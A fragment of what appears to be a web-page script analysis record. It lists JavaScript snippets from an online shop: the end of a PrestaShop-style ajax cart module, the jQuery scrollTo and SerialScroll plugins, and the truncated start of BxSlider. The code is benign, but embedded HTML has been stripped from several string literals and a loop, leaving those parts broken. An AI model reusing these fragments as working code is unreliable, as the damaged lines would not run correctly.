static_token,\t\t\tsuccess: function(jsonData)\t\t\t{\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t}\t\t});\t},\t// Update the cart information\tupdateCartInformation : function (jsonData, addedFromProductPage){\t\tajaxCart.updateCart(jsonData);\t\t//reactive the button when adding has finished\t\tif (addedFromProductPage)\t\t{\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\tif (!jsonData.hasError || jsonData.hasError == false)\t\t\t\t$('#add_to_cart button').addClass('added');\t\t\telse\t\t\t\t$('#add_to_cart button').removeClass('added');\t\t}\t\telse\t\t\t$('.ajax_add_to_cart_button').removeProp('disabled');\t},\t// close fancybox\tupdateFancyBox : function (){},\t// add a product in the cart via ajax\tadd : function(idProduct, idCombination, addedFromProductPage, callerElement, quantity, whishlist){\t\tif (addedFromProductPage && !checkCustomizations())\t\t{\t\t\tif (contentOnly)\t\t\t{\t\t\t\tvar productUrl = window.document.location.href + '';\t\t\t\tvar data = productUrl.replace('content_only=1', '');\t\t\t\twindow.parent.document.location.href = data;\t\t\t\treturn;\t\t\t}\t\t\tif (!!$.prototype.fancybox)\t\t\t $.fancybox.open([\t\t\t {\t\t\t type: 'inline',\t\t\t autoScale: true,\t\t\t minHeight: 30,\t\t\t content: '

' + fieldRequired + '

'\t\t\t }\t\t\t ], {\t\t\t padding: 0\t\t\t });\t\t\telse\t\t\t alert(fieldRequired); return;\t\t}\t\t\t\t//disabled the button when adding to not double add if user double click\t\tif (addedFromProductPage)\t\t{\t\t\t$('#add_to_cart button').prop('disabled', 'disabled').addClass('disabled');\t\t\t$('.filled').removeClass('filled');\t\t}\t\telse\t\t\t$(callerElement).prop('disabled', 'disabled');\t\tif ($('.cart_block_list').hasClass('collapsed'))\t\t\tthis.expand();\t\t//send the ajax request to the server\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&add=1&ajax=true&qty=' + ((quantity && quantity != null) ? quantity : '1') + '&id_product=' + idProduct + '&token=' + static_token + ( (parseInt(idCombination) && idCombination != null) ? '&ipa=' + parseInt(idCombination): '' + '&id_customization=' + ((typeof customizationId !== 'undefined') ? customizationId : 0)),\t\t\tsuccess: function(jsonData,textStatus,jqXHR)\t\t\t{\t\t\t\t// add appliance to whishlist module\t\t\t\tif (whishlist && !jsonData.errors)\t\t\t\t\tWishlistAddProductCart(whishlist[0], idProduct, idCombination, whishlist[1]);\t\t\t\tif (!jsonData.hasError)\t\t\t\t{\t\t\t\t\tif (contentOnly)\t\t\t\t\t\twindow.parent.ajaxCart.updateCartInformation(jsonData, addedFromProductPage);\t\t\t\t\telse\t\t\t\t\t\tajaxCart.updateCartInformation(jsonData, addedFromProductPage);\t\t\t\t\tif (jsonData.crossSelling)\t\t\t\t\t\t$('.crossseling').html(jsonData.crossSelling);\t\t\t\t\tif (idCombination)\t\t\t\t\t\t$(jsonData.products).each(function(){\t\t\t\t\t\t\tif (this.id != undefined && this.id == parseInt(idProduct) && this.idCombination == parseInt(idCombination))\t\t\t\t\t\t\t\tif (contentOnly)\t\t\t\t\t\t\t\t\twindow.parent.ajaxCart.updateLayer(this);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\tajaxCart.updateLayer(this);\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\t$(jsonData.products).each(function(){\t\t\t\t\t\t\tif (this.id != undefined && this.id == parseInt(idProduct))\t\t\t\t\t\t\t\tif (contentOnly)\t\t\t\t\t\t\t\t\twindow.parent.ajaxCart.updateLayer(this);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\tajaxCart.updateLayer(this);\t\t\t\t\t\t});\t\t\t\t\tif (contentOnly)\t\t\t\t\t\tparent.$.fancybox.close();\t\t\t\t}\t\t\t\telse\t\t\t\t{\t\t\t\t\tif (contentOnly)\t\t\t\t\t\twindow.parent.ajaxCart.updateCart(jsonData);\t\t\t\t\telse\t\t\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t\t\tif (addedFromProductPage)\t\t\t\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\t\t\telse\t\t\t\t\t\t$(callerElement).removeProp('disabled');\t\t\t\t} emptyCustomizations();\t\t\t},\t\t\terror: function(XMLHttpRequest, textStatus, errorThrown)\t\t\t{\t\t\t\tvar error = \"Impossible to add the product to the cart.
textStatus: '\" + textStatus + \"'
errorThrown: '\" + errorThrown + \"'
responseText:
\" + XMLHttpRequest.responseText;\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t $.fancybox.open([\t\t\t\t {\t\t\t\t type: 'inline',\t\t\t\t autoScale: true,\t\t\t\t minHeight: 30,\t\t\t\t content: '

' + error + '

'\t\t\t\t }],\t\t\t\t\t{\t\t\t\t padding: 0\t\t\t\t });\t\t\t\telse\t\t\t\t alert(error);\t\t\t\t//reactive the button when adding has finished\t\t\t\tif (addedFromProductPage)\t\t\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\t\telse\t\t\t\t\t$(callerElement).removeProp('disabled');\t\t\t}\t\t});\t},\t//remove a product from the cart via ajax\tremove : function(idProduct, idCombination, customizationId, idAddressDelivery){\t\t//send the ajax request to the server\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&delete=1&id_product=' + idProduct + '&ipa=' + ((idCombination != null && parseInt(idCombination)) ? idCombination : '') + ((customizationId && customizationId != null) ? '&id_customization=' + customizationId : '') + '&id_address_delivery=' + idAddressDelivery + '&token=' + static_token + '&ajax=true',\t\t\tsuccess: function(jsonData)\t{\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t\tif ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc')\t\t\t\t\tdeleteProductFromSummary(idProduct+'_'+idCombination+'_'+customizationId+'_'+idAddressDelivery);\t\t\t},\t\t\terror: function() {\t\t\t\tvar error = 'ERROR: unable to delete the product';\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t{\t\t\t\t $.fancybox.open([\t\t\t\t {\t\t\t\t type: 'inline',\t\t\t\t autoScale: true,\t\t\t\t minHeight: 30,\t\t\t\t content: error\t\t\t\t }\t\t\t\t ], {\t\t\t\t padding: 0\t\t\t\t });\t\t\t\t}\t\t\t\telse\t\t\t\t alert(error); }\t\t});\t},\t//hide the products displayed in the page but no more in the json data\thideOldProducts : function(jsonData){\t\t//delete an eventually removed product of the displayed cart (only if cart is not empty!)\t\tif ($('.cart_block_list:first dl.products').length > 0)\t\t{\t\t\tvar removedProductId = null;\t\t\tvar removedProductData = null;\t\t\tvar removedProductDomId = null;\t\t\t//look for a product to delete...\t\t\t$('.cart_block_list:first dl.products dt').each(function(){\t\t\t\t//retrieve idProduct and idCombination from the displayed product in the block cart\t\t\t\tvar domIdProduct = $(this).data('id');\t\t\t\tvar firstCut = domIdProduct.replace('cart_block_product_', '');\t\t\t\tvar ids = firstCut.split('_');\t\t\t\t//try to know if the current product is still in the new list\t\t\t\tvar stayInTheCart = false;\t\t\t\tfor (aProduct in jsonData.products)\t\t\t\t{\t\t\t\t\t//we've called the variable aProduct because IE6 bug if this variable is called product\t\t\t\t\t//if product has attributes\t\t\t\t\tif (jsonData.products[aProduct]['id'] == ids[0] && (!ids[1] || jsonData.products[aProduct]['idCombination'] == ids[1]))\t\t\t\t\t{\t\t\t\t\t\tstayInTheCart = true;\t\t\t\t\t\t// update the product customization display (when the product is still in the cart)\t\t\t\t\t\tajaxCart.hideOldProductCustomizations(jsonData.products[aProduct], domIdProduct);\t\t\t\t\t}\t\t\t\t}\t\t\t\t//remove product if it's no more in the cart\t\t\t\tif (!stayInTheCart)\t\t\t\t{\t\t\t\t\tremovedProductId = $(this).data('id');\t\t\t\t\tif (removedProductId != null)\t\t\t\t\t{\t\t\t\t\t\tvar firstCut = removedProductId.replace('cart_block_product_', '');\t\t\t\t\t\tvar ids = firstCut.split('_');\t\t\t\t\t\t$('dt[data-id=\"' + removedProductId + '\"]').addClass('strike').fadeTo('slow', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('slow', function(){\t\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t\t\t// If the cart is now empty, show the 'no product in the cart' message and close detail\t\t\t\t\t\t\t\tif($('.cart_block:first dl.products dt').length == 0)\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t\t$('.ajax_cart_quantity').html('0');\t\t\t\t\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(200);\t\t\t\t\t\t\t\t\t$('.cart_block_no_products:hidden').slideDown(450);\t\t\t\t\t\t\t\t\t$('.cart_block dl.products').remove();\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t});\t\t\t\t\t\t});\t\t\t\t\t\t$('dd[data-id=\"cart_block_combination_of_' + ids[0] + (ids[1] ? '_'+ids[1] : '') + (ids[2] ? '_'+ids[2] : '') + '\"]').fadeTo('fast', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('fast', function(){\t\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t\t});\t\t\t\t\t\t});\t\t\t\t\t}\t\t\t\t}\t\t\t});\t\t}\t},\thideOldProductCustomizations : function (product, domIdProduct){\t\tvar customizationList = $('ul[data-id=\"customization_' + product['id'] + '_' + product['idCombination'] + '\"]');\t\tif(customizationList.length > 0)\t\t{\t\t\t$(customizationList).find(\"li\").each(function(){\t\t\t\t$(this).find(\"div\").each(function(){\t\t\t\t\tvar customizationDiv = $(this).data('id');\t\t\t\t\tvar tmp = customizationDiv.replace('deleteCustomizableProduct_', '');\t\t\t\t\tvar ids = tmp.split('_');\t\t\t\t\tif ((parseInt(product.idCombination) == parseInt(ids[2])) && !ajaxCart.doesCustomizationStillExist(product, ids[0]))\t\t\t\t\t\t$('div[data-id=\"' + customizationDiv + '\"]').parent().addClass('strike').fadeTo('slow', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('slow');\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t});\t\t\t\t});\t\t\t});\t\t}\t\tvar removeLinks = $('.deleteCustomizableProduct[data-id=\"' + domIdProduct + '\"]').find('.ajax_cart_block_remove_link');\t\tif (!product.hasCustomizedDatas && !removeLinks.length)\t\t\t$('div[data-id=\"' + domIdProduct + '\"]' + ' span.remove_link').html(' ');\t\tif (product.is_gift)\t\t\t$('div[data-id=\"' + domIdProduct + '\"]' + ' span.remove_link').html('');\t},\tdoesCustomizationStillExist : function (product, customizationId){\t\tvar exists = false;\t\t$(product.customizedDatas).each(function(){\t\t\tif (this.customizationId == customizationId)\t\t\t{\t\t\t\texists = true;\t\t\t\t// This return does not mean that we found nothing but simply break the loop\t\t\t\treturn false;\t\t\t}\t\t});\t\treturn (exists);\t},\t//refresh display of vouchers (needed for vouchers in % of the total)\trefreshVouchers : function (jsonData){\t\tif (typeof(jsonData.discounts) == 'undefined' || jsonData.discounts.length == 0)\t\t\t$('.vouchers').hide();\t\telse\t\t{\t\t\t$('.vouchers tbody').html('');\t\t\tfor (i=0;i 0)\t\t\t\t{\t\t\t\t\tvar delete_link = '';\t\t\t\t\tif (jsonData.discounts[i].code.length)\t\t\t\t\t\tdelete_link = '';\t\t\t\t\t$('.vouchers tbody').append($(\t\t\t\t\t\t'
'\t\t\t\t\t\t+'\t'\t\t\t\t\t\t+'\t'\t\t\t\t\t\t+'\t'\t\t\t\t\t\t+'\t'\t\t\t\t\t\t+''\t\t\t\t\t));\t\t\t\t}\t\t\t}\t\t\t$('.vouchers').show();\t\t}\t},\t// Update product quantity\tupdateProductQuantity : function (product, quantity){\t\t$('dt[data-id=cart_block_product_' + product.id + '_' + (product.idCombination ? product.idCombination : '0')+ '_' + (product.idAddressDelivery ? product.idAddressDelivery : '0') + '] .quantity').fadeTo('fast', 0, function(){\t\t\t$(this).text(quantity);\t\t\t$(this).fadeTo('fast', 1, function(){\t\t\t\t$(this).fadeTo('fast', 0, function(){\t\t\t\t\t$(this).fadeTo('fast', 1, function(){\t\t\t\t\t\t$(this).fadeTo('fast', 0, function(){\t\t\t\t\t\t\t$(this).fadeTo('fast', 1);\t\t\t\t\t\t});\t\t\t\t\t});\t\t\t\t});\t\t\t});\t\t});\t},\t//display the products witch are in json data but not already displayed\tdisplayNewProducts : function(jsonData){\t\t//add every new products or update displaying of every updated products\t\t$(jsonData.products).each(function(){\t\t\t//fix ie6 bug (one more item 'undefined' in IE6)\t\t\tif (this.id != undefined)\t\t\t{\t\t\t\t//create a container for listing the products and hide the 'no product in the cart' message (only if the cart was empty)\t\t\t\tif ($('.cart_block:first dl.products').length == 0)\t\t\t\t{\t\t\t\t\t$('.cart_block_no_products').before('
');\t\t\t\t\t$('.cart_block_no_products').hide();\t\t\t\t}\t\t\t\t//if product is not in the displayed cart, add a new product's line\t\t\t\tvar domIdProduct = this.id + '_' + (this.idCombination ? this.idCombination : '0') + '_' + (this.idAddressDelivery ? this.idAddressDelivery : '0');\t\t\t\tvar domIdProductAttribute = this.id + '_' + (this.idCombination ? this.idCombination : '0');\t\t\t\tif ($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"]').length == 0)\t\t\t\t{\t\t\t\t\tvar productId = parseInt(this.id);\t\t\t\t\tvar productAttributeId = (this.hasAttributes ? parseInt(this.attributes) : 0);\t\t\t\t\tvar content = '
';\t\t\t\t\tvar name = $.trim($('').html(this.name).text());\t\t\t\t\tname = (name.length > 12 ? name.substring(0, 10) + '...' : name);\t\t\t\t\tcontent += '\"'';\t\t\t\t\tcontent += '
' + '' + this.quantity + ' x ' + name + '
';\t\t\t\t\tif (this.hasAttributes)\t\t\t\t\t\t content += '';\t\t\t\t\tif (typeof(freeProductTranslation) != 'undefined')\t\t\t\t\t\tcontent += '' + (parseFloat(this.price_float) > 0 ? this.priceByLine : freeProductTranslation) + '
';\t\t\t\t\tif (typeof(this.is_gift) == 'undefined' || this.is_gift == 0)\t\t\t\t\t\tcontent += ' ';\t\t\t\t\telse\t\t\t\t\t\tcontent += '';\t\t\t\t\tcontent += '
';\t\t\t\t\tif (this.hasAttributes)\t\t\t\t\t\tcontent += '
';\t\t\t\t\tif (this.hasCustomizedDatas)\t\t\t\t\t\tcontent += ajaxCart.displayNewCustomizedDatas(this);\t\t\t\t\tif (this.hasAttributes) content += '
';\t\t\t\t\t$('.cart_block dl.products').append(content);\t\t\t\t}\t\t\t\t//else update the product's line\t\t\t\telse\t\t\t\t{\t\t\t\t\tvar jsonProduct = this;\t\t\t\t\tif($.trim($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .quantity').html()) != jsonProduct.quantity || $.trim($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').html()) != jsonProduct.priceByLine)\t\t\t\t\t{\t\t\t\t\t\t// Usual product\t\t\t\t\t\tif (!this.is_gift)\t\t\t\t\t\t\t$('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').text(jsonProduct.priceByLine);\t\t\t\t\t\telse\t\t\t\t\t\t\t$('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').html(freeProductTranslation);\t\t\t\t\t\tajaxCart.updateProductQuantity(jsonProduct, jsonProduct.quantity);\t\t\t\t\t\t// Customized product\t\t\t\t\t\tif (jsonProduct.hasCustomizedDatas)\t\t\t\t\t\t{\t\t\t\t\t\t\tcustomizationFormatedDatas = ajaxCart.displayNewCustomizedDatas(jsonProduct);\t\t\t\t\t\t\tif (!$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').length)\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\tif (jsonProduct.hasAttributes)\t\t\t\t\t\t\t\t\t$('dd[data-id=\"cart_block_combination_of_' + domIdProduct + '\"]').append(customizationFormatedDatas);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\t$('.cart_block dl.products').append(customizationFormatedDatas);\t\t\t\t\t\t\t}\t\t\t\t\t\t\telse\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').html('');\t\t\t\t\t\t\t\t$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').append(customizationFormatedDatas);\t\t\t\t\t\t\t}\t\t\t\t\t\t}\t\t\t\t\t}\t\t\t\t}\t\t\t\t$('.cart_block dl.products .unvisible').slideDown(450).removeClass('unvisible');\t\t\tvar removeLinks = $('dt[data-id=\"cart_block_product_' + domIdProduct + '\"]').find('a.ajax_cart_block_remove_link');\t\t\tif (this.hasCustomizedDatas && removeLinks.length)\t\t\t\t$(removeLinks).each(function(){\t\t\t\t\t$(this).remove();\t\t\t\t});\t\t\t}\t\t});\t},\tdisplayNewCustomizedDatas : function(product){\t\tvar content = '';\t\tvar productId = parseInt(product.id);\t\tvar productAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination);\t\tvar hasAlreadyCustomizations = $('ul[data-id=\"customization_' + productId + '_' + productAttributeId + '\"]').length;\t\tif (!hasAlreadyCustomizations)\t\t{\t\t\tif (!product.hasAttributes)\t\t\t\tcontent += '
';\t\t\tif ($('ul[data-id=\"customization_' + productId + '_' + productAttributeId + '\"]').val() == undefined)\t\t\t\tcontent += '
    ';\t\t}\t\t$(product.customizedDatas).each(function(){\t\t\tvar done = 0;\t\t\tcustomizationId = parseInt(this.customizationId);\t\t\tproductAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination);\t\t\tcontent += '
  • ';\t\t\t// Give to the customized product the first textfield value as name\t\t\t$(this.datas).each(function(){\t\t\t\tif (this['type'] == CUSTOMIZE_TEXTFIELD)\t\t\t\t{\t\t\t\t\t$(this.datas).each(function(){\t\t\t\t\t\tif (this['index'] == 0)\t\t\t\t\t\t{\t\t\t\t\t\t\tcontent += ' ' + this.truncatedValue.replace(/
    /g, ' ');\t\t\t\t\t\t\tdone = 1;\t\t\t\t\t\t\treturn false;\t\t\t\t\t\t}\t\t\t\t\t})\t\t\t\t}\t\t\t});\t\t\t// If the customized product did not have any textfield, it will have the customizationId as name\t\t\tif (!done)\t\t\t\tcontent += customizationIdMessage + customizationId;\t\t\tif (!hasAlreadyCustomizations) content += '
  • ';\t\t\t// Field cleaning\t\t\tif (customizationId)\t\t\t{\t\t\t\t$('#uploadable_files li div.customizationUploadBrowse img').remove();\t\t\t\t$('#text_fields input').attr('value', '');\t\t\t}\t\t});\t\tif (!hasAlreadyCustomizations)\t\t{\t\t\tcontent += '
';\t\t\tif (!product.hasAttributes) content += '
';\t\t}\t\treturn (content);\t},\tupdateLayer : function(product){\t\t$('#layer_cart_product_title').text(product.name);\t\t$('#layer_cart_product_attributes').text('');\t\tif (product.hasAttributes && product.hasAttributes == true)\t\t\t$('#layer_cart_product_attributes').html(product.attributes);\t\t$('#layer_cart_product_price').text(product.price);\t\t$('#layer_cart_product_quantity').text(product.quantity);\t\t$('.layer_cart_img').html('\"'');\t\tvar n = parseInt($(window).scrollTop()) + 'px';\t\t$('.layer_cart_overlay').css('width','100%');\t\t$('.layer_cart_overlay').css('height','100%');\t\t$('.layer_cart_overlay').show(); if($(window).width() > 1199) { $('#layer_cart').css({'top': 150 +'px'}).fadeIn('fast'); } else { \t\t$('#layer_cart').css({'top': n}).fadeIn('fast'); }\t\tcrossselling_serialScroll();\t},\t//genarally update the display of the cart\tupdateCart : function(jsonData){\t\t//user errors display\t\tif (jsonData.hasError)\t\t{\t\t\tvar errors = '';\t\t\tfor (error in jsonData.errors)\t\t\t\t//IE6 bug fix\t\t\t\tif (error != 'indexOf')\t\t\t\t\terrors += $('
').html(jsonData.errors[error]).text() + \"\\n\";\t\t\tif (!!$.prototype.fancybox)\t\t\t $.fancybox.open([\t\t\t {\t\t\t type: 'inline',\t\t\t autoScale: true,\t\t\t minHeight: 30,\t\t\t content: '

' + errors + '

'\t\t\t }\t\t\t ], {\t\t\t padding: 0\t\t\t });\t\t\telse\t\t\t alert(errors);\t\t}\t\telse\t\t{\t\t\tajaxCart.updateCartEverywhere(jsonData);\t\t\tajaxCart.hideOldProducts(jsonData);\t\t\tajaxCart.displayNewProducts(jsonData);\t\t\tajaxCart.refreshVouchers(jsonData);\t\t\t//update 'first' and 'last' item classes\t\t\t$('.cart_block .products dt').removeClass('first_item').removeClass('last_item').removeClass('item');\t\t\t$('.cart_block .products dt:first').addClass('first_item');\t\t\t$('.cart_block .products dt:not(:first,:last)').addClass('item');\t\t\t$('.cart_block .products dt:last').addClass('last_item');\t\t}\t},\t//update general cart informations everywhere in the page\tupdateCartEverywhere : function(jsonData){\t\t$('.ajax_cart_total').text($.trim(jsonData.productTotal));\t\tif (typeof hasDeliveryAddress == 'undefined')\t\t\thasDeliveryAddress = false;\t\tif (parseFloat(jsonData.shippingCostFloat) > 0)\t\t\t$('.ajax_cart_shipping_cost').text(jsonData.shippingCost).parent().find('.unvisible').show();\t\telse if ((hasDeliveryAddress || typeof(orderProcess) !== 'undefined' && orderProcess == 'order-opc') && typeof(freeShippingTranslation) != 'undefined')\t\t\t$('.ajax_cart_shipping_cost').html(freeShippingTranslation);\t\telse if (!hasDeliveryAddress)\t\t\t$('.ajax_cart_shipping_cost').html(toBeDetermined);\t\tif (hasDeliveryAddress)\t\t\t$('.ajax_cart_shipping_cost').parent().find('.unvisible').show();\t\t$('.ajax_cart_tax_cost').text(jsonData.taxCost);\t\t$('.cart_block_wrapping_cost').text(jsonData.wrappingCost);\t\t$('.ajax_block_cart_total').text(jsonData.total);\t\t$('.ajax_block_products_total').text(jsonData.productTotal); $('.ajax_total_price_wt').text(jsonData.total_price_wt);\t\tif (parseFloat(jsonData.freeShippingFloat) > 0)\t\t{\t\t\t$('.ajax_cart_free_shipping').html(jsonData.freeShipping);\t\t\t$('.freeshipping').fadeIn(0);\t\t}\t\telse if (parseFloat(jsonData.freeShippingFloat) == 0)\t\t\t$('.freeshipping').fadeOut(0);\t\tthis.nb_total_products = jsonData.nbTotalProducts;\t\tif (parseInt(jsonData.nbTotalProducts) > 0)\t\t{\t\t\t$('.ajax_cart_no_product').hide();\t\t\t$('.ajax_cart_quantity').text(jsonData.nbTotalProducts);\t\t\t$('.ajax_cart_quantity').fadeIn('slow');\t\t\t$('.ajax_cart_total').fadeIn('slow');\t\t\tif (parseInt(jsonData.nbTotalProducts) > 1)\t\t\t{\t\t\t\t$('.ajax_cart_product_txt').each( function (){\t\t\t\t\t$(this).hide();\t\t\t\t});\t\t\t\t$('.ajax_cart_product_txt_s').each( function (){\t\t\t\t\t$(this).show();\t\t\t\t});\t\t\t}\t\t\telse\t\t\t{\t\t\t\t$('.ajax_cart_product_txt').each( function (){\t\t\t\t\t$(this).show();\t\t\t\t});\t\t\t\t$('.ajax_cart_product_txt_s').each( function (){\t\t\t\t\t$(this).hide();\t\t\t\t});\t\t\t}\t\t}\t\telse\t\t{\t\t\t$('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').each(function(){\t\t\t\t$(this).hide();\t\t\t});\t\t\t$('.ajax_cart_no_product').show();\t\t}\t}};function HoverWatcher(selector){\tthis.hovering = false;\tvar self = this;\tthis.isHoveringOver = function(){\t\treturn self.hovering;\t}\t$(selector).hover(function(){\t\tself.hovering = true;\t}, function(){\t\tself.hovering = false;\t})}function crossselling_serialScroll(){\tif (!!$.prototype.bxSlider)\t\t$('#blockcart_caroucel').bxSlider({\t\t\tminSlides: 2,\t\t\tmaxSlides: 4,\t\t\tslideWidth: 178,\t\t\tslideMargin: 20,\t\t\tmoveSlides: 1,\t\t\tinfiniteLoop: false,\t \t\thideControlOnEnd: true,\t\t\tpager: false\t\t});}", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** * Copyright (c) 2007-2014 Ariel Flesler - afleslergmailcom | http://flesler.blogspot.com * Licensed under MIT * @author Ariel Flesler * @version 1.4.14 */;(function(k){'use strict';k(['jquery'],function($){var j=$.scrollTo=function(a,b,c){return $(window).scrollTo(a,b,c)};j.defaults={axis:'xy',duration:0,limit:!0};j.window=function(a){return $(window)._scrollable()};$.fn._scrollable=function(){return this.map(function(){var a=this,isWin=!a.nodeName||$.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!isWin)return a;var b=(a.contentWindow||a).document||a.ownerDocument||a;return/webkit/i.test(navigator.userAgent)||b.compatMode=='BackCompat'?b.body:b.documentElement})};$.fn.scrollTo=function(f,g,h){if(typeof g=='object'){h=g;g=0}if(typeof h=='function')h={onAfter:h};if(f=='max')f=9e9;h=$.extend({},j.defaults,h);g=g||h.duration;h.queue=h.queue&&h.axis.length>1;if(h.queue)g/=2;h.offset=both(h.offset);h.over=both(h.over);return this._scrollable().each(function(){if(f==null)return;var d=this,$elem=$(d),targ=f,toff,attr={},win=$elem.is('html,body');switch(typeof targ){case'number':case'string':if(/^([+-]=?)?\\d+(\\.\\d+)?(px|%)?$/.test(targ)){targ=both(targ);break}targ=win?$(targ):$(targ,this);if(!targ.length)return;case'object':if(targ.is||targ.style)toff=(targ=$(targ)).offset()}var e=$.isFunction(h.offset)&&h.offset(d,targ)||h.offset;$.each(h.axis.split(''),function(i,a){var b=a=='x'?'Left':'Top',pos=b.toLowerCase(),key='scroll'+b,old=d[key],max=j.max(d,a);if(toff){attr[key]=toff[pos]+(win?0:old-$elem.offset()[pos]);if(h.margin){attr[key]-=parseInt(targ.css('margin'+b))||0;attr[key]-=parseInt(targ.css('border'+b+'Width'))||0}attr[key]+=e[pos]||0;if(h.over[pos])attr[key]+=targ[a=='x'?'width':'height']()*h.over[pos]}else{var c=targ[pos];attr[key]=c.slice&&c.slice(-1)=='%'?parseFloat(c)/100*max:c}if(h.limit&&/^\\d+$/.test(attr[key]))attr[key]=attr[key]<=0?0:Math.min(attr[key],max);if(!i&&h.queue){if(old!=attr[key])animate(h.onAfterFirst);delete attr[key]}});animate(h.onAfter);function animate(a){$elem.animate(attr,g,h.easing,a&&function(){a.call(this,targ,h)})}}).end()};j.max=function(a,b){var c=b=='x'?'Width':'Height',scroll='scroll'+c;if(!$(a).is('html,body'))return a[scroll]-$(a)[c.toLowerCase()]();var d='client'+c,html=a.ownerDocument.documentElement,body=a.ownerDocument.body;return Math.max(html[scroll],body[scroll])-Math.min(html[d],body[d])};function both(a){return $.isFunction(a)||$.isPlainObject(a)?a:{top:a,left:a}}return j})}(typeof define==='function'&&define.amd?define:function(a,b){if(typeof module!=='undefined'&&module.exports){module.exports=b(require('jquery'))}else{b(jQuery)}}));", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* * jQuery.SerialScroll - Animated scrolling of series * Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com * Dual licensed under MIT and GPL. * Date: 06/14/2009 * @author Ariel Flesler * @version 1.2.2 * http://flesler.blogspot.com/2008/02/jqueryserialscroll.html */;(function(a){var b=a.serialScroll=function(c){return a(window).serialScroll(c)};b.defaults={duration:1e3,axis:\"x\",event:\"click\",start:0,step:1,lock:!0,cycle:!0,constant:!0};a.fn.serialScroll=function(c){return this.each(function(){var t=a.extend({},b.defaults,c),s=t.event,i=t.step,r=t.lazy,e=t.target?this:document,u=a(t.target||this,e),p=u[0],m=t.items,h=t.start,g=t.interval,k=t.navigation,l;if(!r){m=d()}if(t.force){f({},h)}a(t.prev||[],e).bind(s,-i,q);a(t.next||[],e).bind(s,i,q);if(!p.ssbound){u.bind(\"prev.serialScroll\",-i,q).bind(\"next.serialScroll\",i,q).bind(\"goto.serialScroll\",f)}if(g){u.bind(\"start.serialScroll\",function(v){if(!g){o();g=!0;n()}}).bind(\"stop.serialScroll\",function(){o();g=!1})}u.bind(\"notify.serialScroll\",function(x,w){var v=j(w);if(v>-1){h=v}});p.ssbound=!0;if(t.jump){(r?u:d()).bind(s,function(v){f(v,j(v.target))})}if(k){k=a(k,e).bind(s,function(v){v.data=Math.round(d().length/k.length)*k.index(this);f(v,this)})}function q(v){v.data+=h;f(v,this)}function f(B,z){if(!isNaN(z)){B.data=z;z=p}var C=B.data,v,D=B.type,A=t.exclude?d().slice(0,-t.exclude):d(),y=A.length,w=A[C],x=t.duration;if(D){B.preventDefault()}if(g){o();l=setTimeout(n,t.interval)}if(!w){v=C<0?0:y-1;if(h!=v){C=v}else{if(!t.cycle){return}else{C=y-v-1}}w=A[C]}if(!w||t.lock&&u.is(\":animated\")||D&&t.onBefore&&t.onBefore(B,w,u,d(),C)===!1){return}if(t.stop){u.queue(\"fx\",[]).stop()}if(t.constant){x=Math.abs(x/i*(h-C))}u.scrollTo(w,x,t).trigger(\"notify.serialScroll\",[C])}function n(){u.trigger(\"next.serialScroll\")}function o(){clearTimeout(l)}function d(){return a(m,p)}function j(w){if(!isNaN(w)){return w}var x=d(),v;while((v=x.index(w))==-1&&w!=p){w=w.parentNode}return v}})}})(jQuery);", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** * BxSlider v4.1.2 - Fully loaded, responsive content slider * http://bxslider.com * * Copyright 2014, Steven Wanderski - http://stevenwanderski.com - http://bxcreative.com * Written while drinking Belgian ales and listening to jazz * * Released under the MIT license - http://opensource.org/licenses/MIT */!function(t){var 